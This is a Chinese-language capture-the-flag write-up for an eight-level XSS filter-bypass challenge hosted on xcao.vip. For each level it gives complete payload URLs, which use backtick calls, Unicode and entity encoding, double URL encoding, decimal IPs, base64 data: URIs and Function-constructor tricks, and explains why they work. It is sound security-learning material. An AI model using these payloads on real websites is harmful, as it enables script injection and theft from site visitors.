題目地址
題目作者給出的解題思路
http://xcao.vip/test/xss/XSS修煉之獨孤九劍.pdf
獨孤九劍-第一式
題目
過濾了等號
=
、小括號()
,要求載入任意 JS 程式碼。成功載入 http://xcao.vip/xss/alert.js 表示完成挑戰
方法一
首先應該思考,在 JavaScript 中,載入 JS 程式碼,有哪些方式?
首先想到了
<script src="http://xcao.vip/xss/alert.js"></script>
這是最基本的載入方式。
此時我們需要在頁面中載入這個 JS 程式碼,應該想到使用 document.write()
,將上面的程式碼寫入 HTML 頁面,從而執行 JS 程式碼。
那麼如果要使用這個方法,還得在外面再使用一個 <script>
標籤。即:
<script>document.write(<script src="http://xcao.vip/xss/alert.js"></script>)</script>
然後再回到題目中來。
檢視 HTML 程式碼:
<html>
<head>
<meta charset="utf-8">
<title>獨孤九劍-第一式 Design by 香草</title>
</head>
<body>
<h2>過濾了 =(),少俠骨骼驚奇,必是練武奇才</h2>
<h2>要求載入任意JS程式碼,成功載入http://xcao.vip/xss/alert.js 表示完成挑戰</h2>
<input type="text" value="s">
</body>
</html>
題目只有一個輸入框,並且無法通過輸入框提交內容。而同時我們注意到位址列裡有通過 GET 方式提交的引數:
嘗試修改引數,成功修改了輸入框中的內容:
那麼 XSS 攻擊的點就在這裡。
根據頁面的原始碼,自己構造的 XSS 攻擊程式碼,首先應當將原本的 <input>
標籤閉合,即在 123123
後面跟上 ">
:
從原始碼中可以看到,自己輸入的 ">
成功將標籤閉合,原本存在的 ">
被孤立了出來:
此時我們就可以在後面跟上我們自己的 JS 程式碼進行 XSS 攻擊了:
"><script>document.write(<script src="http://xcao.vip/xss/alert.js"></script>)</script>
但是別忘了題目的過濾條件,在這裡等號 =
和小括號 ()
不起作用。
接下來應當思考怎麼繞過。
通過查詢資料我們得知,可以用反引號代替小括號實現繞過。要繞過等號 =
的過濾,可以將 document.write()
中的內容進行 Unicode 編碼,即:
"><script>document.write`\u003c\u0073\u0063\u0072\u0069\u0070\u0074\u0020\u0073\u0072\u0063\u003d\u0022\u0068\u0074\u0074\u0070\u003a\u002f\u002f\u0078\u0063\u0061\u006f\u002e\u0076\u0069\u0070\u002f\u0078\u0073\u0073\u002f\u0061\u006c\u0065\u0072\u0074\u002e\u006a\u0073\u0022\u003e\u003c\u002f\u0073\u0063\u0072\u0069\u0070\u0074\u003e`</script>
提交內容,成功繞過:
完整 Payload:
http://xcao.vip/test/xss1.php?data=123123"><script>document.write`\u003c\u0073\u0063\u0072\u0069\u0070\u0074\u0020\u0073\u0072\u0063\u003d\u0022\u0068\u0074\u0074\u0070\u003a\u002f\u002f\u0078\u0063\u0061\u006f\u002e\u0076\u0069\u0070\u002f\u0078\u0073\u0073\u002f\u0061\u006c\u0065\u0072\u0074\u002e\u006a\u0073\u0022\u003e\u003c\u002f\u0073\u0063\u0072\u0069\u0070\u0074\u003e`</script>
方法二
題目作者給出的一種方法:
http://xcao.vip/test/xss1.php?data=%22%3E%3Csvg%3E%3Cscript%3E%26%23x65%3B%26%23x76%3B%26%23x61%3B%26%23x6c%3B%26%23x28%3B%26%23x6c%3B%26%23x6f%3B%26%23x63%3B%26%23x61%3B%26%23x74%3B%26%23x69%3B%26%23x6f%3B%26%23x6e%3B%26%23x2e%3B%26%23x68%3B%26%23x61%3B%26%23x73%3B%26%23x68%3B%26%23x2e%3B%26%23x73%3B%26%23x6c%3B%26%23x69%3B%26%23x63%3B%26%23x65%3B%26%23x28%3B%26%23x31%3B%26%23x29%3B%26%23x29%3B%3C/script%3E%3C/svg%3E#with(document)body.appendChild(createElement('script')).src='http://xcao.vip/test/alert.js'
我們來分析這裡用了些什麼方法。
首先,原作者提到,自己使用了 <svg>
標籤,是因為在 <svg>
標籤中的 <script>
標籤可以使用 HTML 編碼,從而避開題目的過濾。
解碼後的內容為:
http://xcao.vip/test/xss1.php?data="><svg><script>eval(location.hash.slice(1))</script></svg>#with(document)body.appendChild(createElement('script')).src='http://xcao.vip/test/alert.js'
我們再將 HTML 編碼進行解碼,可得:
http://xcao.vip/test/xss1.php?data="><svg><script>eval(location.hash.slice(1))</script></svg>#with(document)body.appendChild(createElement('script')).src='http://xcao.vip/test/alert.js'
完整的構造這時才得以清晰展現在我們眼前。
首先是 eval()
函式,eval()
函式計算 JavaScript 字串,並把它作為指令碼程式碼來執行。
如果引數是一個表示式,eval()
函式將執行表示式。如果引數是 JavaScript 語句,eval()
將執行 JavaScript 語句。
接下來是 location.hash.slice(1)
,hash
是 location
物件中的一個屬性,是一個可讀可寫的字串,該字串是 URL 的錨部分(從 #
號開始的部分)。
而 slice(start, end)
方法可提取字串的某個部分,並以新的字串返回被提取的部分。
start
引數字串中第一個字元位置為 0,第二個字元位置為 1,以此類推。
因此,綜上可得,location.hash.slice(1)
的含義就是獲取 #
號之後的內容,即:
with(document)body.appendChild(createElement('script')).src='http://xcao.vip/test/alert.js'
這裡的 with
用法其實也可以替換成
document.body.appendChild(document.createElement('script')).src='http://xcao.vip/test/alert.js'
接下來進一步分析程式碼。
appendChild()
方法可向節點的子節點列表的末尾新增新的子節點。也就是說,從 DOM 樹的角度,這個方法向 body
節點的子節點列表的最後添加了一個 script
節點,相當於直接添加了一個 <script>
標籤。
這樣一切都解釋得通了。妙哉!
獨孤九劍-第二式
題目
在第一式的基礎之上,增加了對點
.
的過濾
方法一
在這種情況下,document.write
這樣的用法肯定就不起作用了,得想想怎麼繞過對點 .
的過濾。
通過查詢資料我們可以得知,JavaScript 的物件的屬性的讀取可以通過類似陣列的方式來進行,比如物件 document
的 write
方法就可以寫成 document['write']
。
這樣就成功繞過了題目對點 .
的過濾。
基於第一式方法一,我們直接將 document.write
寫成 document['write']
,其他照舊,則有了:
http://xcao.vip/test/xss1.php?data=123123"><script>document['write']`\u003c\u0073\u0063\u0072\u0069\u0070\u0074\u0020\u0073\u0072\u0063\u003d\u0022\u0068\u0074\u0074\u0070\u003a\u002f\u002f\u0078\u0063\u0061\u006f\u002e\u0076\u0069\u0070\u002f\u0078\u0073\u0073\u002f\u0061\u006c\u0065\u0072\u0074\u002e\u006a\u0073\u0022\u003e\u003c\u002f\u0073\u0063\u0072\u0069\u0070\u0074\u003e`</script>
成功載入:
方法二
同第一式方法二一樣,由於本身構造的 #
錨點並不會作為引數被傳入後臺,並且經過 URL 解碼後的 HTML 編碼也不含有被過濾的點 .
,因此第一式方法二的構造語句可以原封不動地拿來使用。即:
http://xcao.vip/test/xss2.php?data=%22%3E%3Csvg%3E%3Cscript%3E%26%23x65%3B%26%23x76%3B%26%23x61%3B%26%23x6c%3B%26%23x28%3B%26%23x6c%3B%26%23x6f%3B%26%23x63%3B%26%23x61%3B%26%23x74%3B%26%23x69%3B%26%23x6f%3B%26%23x6e%3B%26%23x2e%3B%26%23x68%3B%26%23x61%3B%26%23x73%3B%26%23x68%3B%26%23x2e%3B%26%23x73%3B%26%23x6c%3B%26%23x69%3B%26%23x63%3B%26%23x65%3B%26%23x28%3B%26%23x31%3B%26%23x29%3B%26%23x29%3B%3C/script%3E%3C/svg%3E#with(document)body.appendChild(createElement('script')).src='http://xcao.vip/test/alert.js'
成功載入:
方法三
題目作者給出的一種方法:
http://xcao.vip/test/xss2.php?data=xxx%22%3E%3Cscript%3EsetTimeout`\u0065\u0076\u0061\u006c\u0028\u006c\u006f\u0063\u0061\u0074\u0069\u006f\u006e\u002e\u0068\u0061\u0073\u0068\u002e\u0073\u006c\u0069\u0063\u0065\u0028\u0031\u0029\u0029`;%3C/script%3E#with(document)body.appendChild(createElement('script')).src='http://xcao.vip/xss/alert.js'
作者稱,這樣是通過 setTimeout
以及用反引號代替 ()
, 同時採用 Unicode 編碼繞過對 ()
和 .
的限制。
在這串程式碼中,setTimeout()
是屬於 window
的方法,該方法用於在指定的毫秒數後呼叫函式或計算表示式。
這裡缺省了時間的引數,相當於不需要等待,直接執行。
中間的 Unicode 編碼的內容還是之前的 eval(location.hash.slice(1))
,總體上思路和第一式方法二差不多。
獨孤九劍-第三式
題目
放開了
=
的過濾,新增了&#\
的過濾
方法一
新增了 &#\
的過濾,這明顯就是衝著 HTML 編碼和 Unicode 編碼來的。
惡意不小啊
嘗試將之前的 Payload 經過二次編碼,想看看行不行,結果都沒彈出來。仔細想想突然發現作者把 =
的過濾給放開了!!!
那不就可以考慮一下:
<script src="http://xcao.vip/xss/alert.js"></script>
題目對點 .
進行了過濾,那麼 URL 編碼一下:
<script src="http://xcao%252evip/xss/alert%252ejs"></script>
這裡有個需要注意的地方,這裡第一次將 .
進行 URL 編碼後得到 %2e
,但是還不夠,通過 GET 方式提交上去後,瀏覽器會自動幫我們解碼一次,又變回來了,那樣的話 .
還是會被過濾。
因此需要再將 %
進行 URL 編碼,得到 %252e
。這樣瀏覽器解碼 %25
成 %
,不會再對 %2e
進行解碼,就可以繞過後端的過濾了。
成功彈窗:
提交之後的 HTML 程式碼就是這樣的:
完整 Payload:
http://xcao.vip/test/xss3.php?data="><script src="http://xcao%252evip/xss/alert%252ejs"></script>
這個方法也是題目作者使用的方法。
方法二
這個是在知乎上看到的一個方法。
先上 Payload:
http://xcao.vip/test/xss3.php?data="><script src="http://2130706433"></script>
接下來分析一下這個作者的思路。
他想到的是利用 PHP 的 302
重定向,在本地寫了一個 PHP 檔案,檔案的內容是這樣的:
<?php
header("Location: http://xcao.vip/xss/alert.js");
?>
也就是說,當訪問這個 PHP 檔案的時候,會自動跳轉到 http://xcao.vip/xss/alert.js 這個地址來。
然後他就在 Payload 中載入自己的本地 IP 地址,但前提是需要將自己本地的 Web 服務的網站首頁修改成這個 PHP 檔案。
接下來就會遇到一個問題:IP 地址中的 .
會遭到題目的過濾。於是這個作者將 IP 地址轉換成了十進位制形式:
然後就順利實現了繞過:
整體思路和方法一相比,大同小異,大體框架是一樣的,就是對 .
的繞過方式不一樣。從實現的簡單程度來說,方法一明顯要方便一些,但方法二也是值得思考的,說不定會用到更復雜的過濾情況呢。
獨孤九劍-第四式
題目
在上一題的基礎之上,又新增了
=
的過濾
哦豁,這下 src
屬性也用不了了
黔驢技窮,只能求助萬能的網友了。
方法一
直接上 Payload:
http://xcao.vip/test/xss4.php?data="><iframe></iframe><script>frames[0]['location']['replace']`data:text/html;base64,PHNjcmlwdCBzcmM9Imh0dHA6Ly94Y2FvLnZpcC94c3MvYWxlcnQuanMiPjwvc2NyaXB0Pg`</script>
然後分析這個程式碼是怎麼一回事。
首先是 <iframe>
標籤,這個標籤是幹嘛的?
<iframe>
標籤規定一個內聯框架,被用來在當前 HTML 文件中嵌入另一個文件。
說人話就是,在一個網頁中嵌入另外一個網頁,就像下圖這樣:
可以通過 src
屬性指定 URL。但是等號被過濾掉了,src
屬性用不了,怎麼辦?
這時用到了 frames[0].location.replace()
這個東西。
首先來看 frames
這個屬性,這個屬性返回視窗中所有命名的框架。也就是說,這個屬性會返回當前頁面中所有的 iframe
框架,是一個類似陣列的形式。
這裡選擇下標為 0
的框架,也就是第一個即我們自己構造的 <iframe>
標籤。
然後,location
獲取標籤的 URL,location.replace(url)
通過載入 URL 指定的文件來替換當前文件,這個方法是替換當前視窗頁面。
接下來就是最重要的 data
協議部分了。text/html
指定了資料格式,base64
指定了編碼型別為 base64
編碼。
在這之後,我們需要寫入替換的程式碼,因為要載入目的碼,所以還是沿用之前的 <script>
標籤:
<script src="http://xcao.vip/xss/alert.js"></script>
然後將這段程式碼進行 base64
加密:PHNjcmlwdCBzcmM9Imh0dHA6Ly94Y2FvLnZpcC94c3MvYWxlcnQuanMiPjwvc2NyaXB0Pg
成功彈窗:
以上就是這個方法所有的技術要點了。
整理一番下來,感覺又打開了新的大門
方法二
題目作者給出的一種做法。
Payload:
http://xcao.vip/test/xss4.php?data="><script>location['replace']`javascript:eval%2528eval%2528location%252ehash%252eslice%25281%2529%2529%2529`</script>#with(document)body.appendChild(createElement('script')).src='http://xcao.vip/xss/alert.js'
和方法一有相似之處,也使用了 location['replace']
的做法。作者提到,他還用了 JavaScript 偽協議以及 URL 編碼。
先來說說 JavaScript 偽協議。
偽協議不同於 HTTP 、FTP 這類標準化協議,它是一種非標準化的協議,主要應用於關聯應用程式,較為特殊。
比如有的場景中會使用 tencent://
來關聯 QQ,包括方法一使用的 data:
也是一種偽協議。
在 JavaScript 中,要使用偽協議,需要使用 javascript:
進行宣告,比如:
javascript:alert("hello world!")
這個特殊的協議型別聲明瞭其主體是任意的 JavaScript 程式碼,它由 JavaScript 的直譯器執行。
如果程式碼含有多個語句,必須使用分號 ;
將這些語句分隔開。
回到這個方法中來,在使用偽協議之後,作者使用了 eval(eval(location.hash.slice(1)))
,其中 eval(location.hash.slice(1))
得到了
with(document)body.appendChild(createElement('script')).src='http://xcao.vip/xss/alert.js'
這一部分,然後再將這一部分執行,從而實現新增 <script>
標籤。
值得注意的是,將 eval(eval(location.hash.slice(1)))
進行 URL 編碼過後,仍需要對 %
進行二次編碼。
執行結果:
獨孤九劍-第五式
題目
在上一題基礎上,新增了對
%
的過濾,取消了對=
的過濾。即在第三式基礎上,增加對%
的過濾
好傢伙,這下 URL 編碼被 ban 掉了
方法一
回顧第三式的兩個方法,由於新增對 %
的過濾,顯然第一個方法已經不奏效了。
但我們驚奇地發現第二個方法貌似還能用。
因為是十進位制編碼,URL 中只含有數字,所以按理說能夠成功繞過。
果不其然,成功彈窗:
Payload:
http://xcao.vip/test/xss5.php?data="><script src="http://2130706433"></script>
這個方法也是題目作者採用的方法。
方法二
在第四式中,我們使用了一個 location['replace']
搭配 base64
編碼的方法,發現這個方法由於沒有使用 %
,同樣也適用於這道題的場景。
索性直接照搬:
http://xcao.vip/test/xss5.php?data="><iframe></iframe><script>frames[0]['location']['replace']`data:text/html;base64,PHNjcmlwdCBzcmM9Imh0dHA6Ly94Y2FvLnZpcC94c3MvYWxlcnQuanMiPjwvc2NyaXB0Pg`</script>
成功彈窗:
直接套模板,這道題就做得很舒服
獨孤九劍-第六式
題目
在上一題基礎上,增加對等號
=
的過濾
方法一
這一題的過濾依舊沒能覆蓋到 base64
所使用到的字元,所以 base64
直接殺瘋了,連破三關!
http://xcao.vip/test/xss6.php?data="><iframe></iframe><script>frames[0]['location']['replace']`data:text/html;base64,PHNjcmlwdCBzcmM9Imh0dHA6Ly94Y2FvLnZpcC94c3MvYWxlcnQuanMiPjwvc2NyaXB0Pg`</script>
成功彈窗:
方法二
題目作者給出的一個方法。
Payload:
http://xcao.vip/test/xss6.php/?data="><script>document['write']`<img ${location['hash']['slice']`1`}`</script>#/src='x'onerror=with(document)body.appendChild(createElement('script')).src='http://xcao.vip/test/alert.js'//
作者提到自己受思維定勢影響,很執著地要使用 hash
來儲存攻擊變數,走了不少彎路,最後還是發現,base64
真香!
讓我們來看看作者的思路是怎樣的。
為了繞過對 .
的過濾,作者使用了 document['write']
,然後往介面寫入了一個 <img>
標籤。
在這個標籤中,我們看到了一個 ${}
的結構。
通過查詢資料,我們得知,這個結構被稱作模板字串,而 ${}
是模板字串中的佔位符,是 JavaScript 的版本標準 ECMAScript 6.0
(簡稱 ES6
)中的用法。
在模板字串中,{}
中的內容可以是字串,也可以是表示式,在輸出模板字串的時候,會先將表示式的值計算出來,然後再進行輸出。
因此我們可以理解成,<img>
標籤先執行了 location.hash.slice(1)
,得到了:
/src='x'onerror=with(document)body.appendChild(createElement('script')).src='http://xcao.vip/test/alert.js'//
然後再嵌入到 <img>
標籤中,就相當於往頁面中插入了一個圖片,連結為 x
發生錯誤,然後執行我們後面的 with
部分。
但是在這裡我遇到了一點語法上的問題。
就是不明白這個 src
前面的 /
是怎麼一回事。
從執行結果來看,不帶 /
的話,<img>
標籤中的 src
前面會加上一個逗號 ,
,進而使得這個標籤的語法不正確:
加上
/
過後,變成了這樣:
並且成功彈窗:
這個問題困擾了我很久,一直不知道怎麼回事,也找了很多資料,都沒看到有這方面的解釋。
人麻了
如果有大佬能看到並且知道原因的話,麻煩評論或者私信指點一下我吧,弟弟感激不盡!!!
獨孤九劍-第七式
題目
在上一題的基礎上,繼續增加對
<
、>
的過濾,輸出點從<input>
標籤變到了<script>
標籤中
這下標籤也不能用了,題目過濾越來越變態了
還是求助萬能的網友。
方法一
Payload:
http://xcao.vip/test/xss7.php?data="";document['write']`${String['fromCharCode']`60`%2B"iframe src"%2BString['fromCharCode']`61`%2B"data:text/html;base64,PHNjcmlwdCBzcmM9Imh0dHA6Ly94Y2FvLnZpcC94c3MvYWxlcnQuanMiPjwvc2NyaXB0Pg"%2BString['fromCharCode']`62`}`
接下來分析一下思路。
由於輸出點變了,到了 <script>
標籤,所以要看看頁面程式碼是怎樣的,方便做閉合:
接下來就嘗試構造 "";
,閉合前一條語句的同時,也將其與後面的語句隔斷了,以便於我們構造後面的內容。
有點 SQL 堆疊注入的味道了。
然後又是使用 document['write']
,往 HTML 頁面寫入內容。寫入的是一個模板字串,佔位符非常長:
${String['fromCharCode']`60`%2B"iframe src"%2BString['fromCharCode']`61`%2B"data:text/html;base64,PHNjcmlwdCBzcmM9Imh0dHA6Ly94Y2FvLnZpcC94c3MvYWxlcnQuanMiPjwvc2NyaXB0Pg"%2BString['fromCharCode']`62`}
首先是 String['fromCharCode']()
,這個方法的作用是將 Unicode 編碼轉為一個字元,這裡的 String['fromCharCode'](60)
就是 <
。
然後根據模板字串的語法,和字串 iframe
之間,需要有一個 +
來進行拼接,但是需要注意的一點是,我們從始至終都是在題目的 URL 裡面輸入 Payload 的,縱觀全域性,這個 +
現在處在的位置是在 URL 裡面,如果不進行編碼轉換,會被當成空格,那麼就會出問題。
所以 %2B
就是這麼來的。
同理,String['fromCharCode'](61)
是 =
,String['fromCharCode'](62)
是 >
,將模板字串佔位符中的程式碼翻譯一下就是:
<iframe src="data:text/html;base64,PHNjcmlwdCBzcmM9Imh0dHA6Ly94Y2FvLnZpcC94c3MvYWxlcnQuanMiPjwvc2NyaXB0Pg">
又回到了之前的 base64
大法,妙哉,妙哉!
方法二
題目作者給出的一種方法:
http://xcao.vip/test/xss7.php/?data=1;[]['filter']['constructor']`a${location['hash']['slice']`1`}```#with(document)body.appendChild(createElement('script')).src='http://xcao.vip/xss/alert.js'
讓我們來看看又用了些什麼神奇的姿勢。
首先是 []['filter']['constructor']
這一部分,經查,這種語法是 JSFuck
的用法。
JSFuck 是一種深奧的 JavaScript 程式設計風格。以這種風格寫成的程式碼中僅使用 [
、]
、(
、)
、!
和 +
六種字元。
此程式設計風格的名字派生自僅使用較少符號寫程式碼的 Brainfuck 語言。與其他深奧的程式語言不同,以JSFuck風格寫出的程式碼不需要另外的編譯器或直譯器來執行,無論瀏覽器或 JavaScript 引擎中的原生 JavaScript 直譯器皆可直接執行。
鑑於 JavaScript 是弱型別語言,編寫者可以用數量有限的字元重寫 JavaScript 中的所有功能,且可以用這種方式執行任何型別的表示式。
JSFuck 常見的取值有以下這些:
false => ![]
true => !![]
undefined => [][[]]
NaN => +[![]]
0 => +[]
1 => +!+[]
2 => !+[]+!+[]
10 => [+!+[]]+[+[]]
Array => []
Number => +[]
String => []+[]
Boolean => ![]
Function => []["filter"]
eval => []["filter"]["constructor"]( CODE )()
window => []["filter"]["constructor"]("return this")()
回到題目,根據上面這個對應關係,我們可以 []['filter']['constructor']
對應成 eval
,後面的部分已經很熟悉了,這裡就不再贅述了。
這裡也有一個不好理解的地方,在${location['hash']['slice'](1)}
這個地方的前面,作者添上了一個字元,說是不新增就會報錯,我自己也嘗試了一下,確實是這樣:
報錯顯示缺少形參。
填上之後就彈窗了:
難不成新增的字元就是做形參用的?
但是這個原理實在不能理解
獨孤九劍-第八式
題目
在上一題的基礎上,又新增了對
'
、"
、[]
的過濾
面對越來越變態的過濾方式,只能看看作者本人的做法了。
方法一
題目作者本人給出的方法:
<iframe src="http://xcao.vip/test/xss8.php/?data=Function`b${name}```" name="with(document)body.appendChild(createElement('script')).src='http://xcao.vip/xss/alert.js'"></iframe>
作者稱,他是直接新建了一個網頁,往檔案裡面寫入了這個程式碼。
這裡的 Function()
是一個匿名函式,沒有函式名。通過給變數 name
賦值,然後傳入模板字串,再執行 JavaScript 檔案。
點開這個網頁的時候,直接執行裡面的程式碼。
成功彈窗:
奇怪的姿勢又增加了!
方法二
http://xcao.vip/test/xss8.php?data=Function`b${atob`ZG9jdW1lbnQud3JpdGUoIjxzY3JpcHQgc3JjPSdodHRwOi8veGNhby52aXAveHNzL2FsZXJ0LmpzJz48L3NjcmlwdD4iKQ`}```
讓我們來看看又用了哪些新姿勢。
外層 Function()
函式是一樣的,這裡遇到了一個新方法 atob()
,經查得知,atob()
方法用於解碼使用 base64
編碼的字串。
而裡面的字串解碼過後的內容是這樣的:
document.write("<script src='http://xcao.vip/xss/alert.js'></script>")
成功彈窗:
太棒了,學到許多(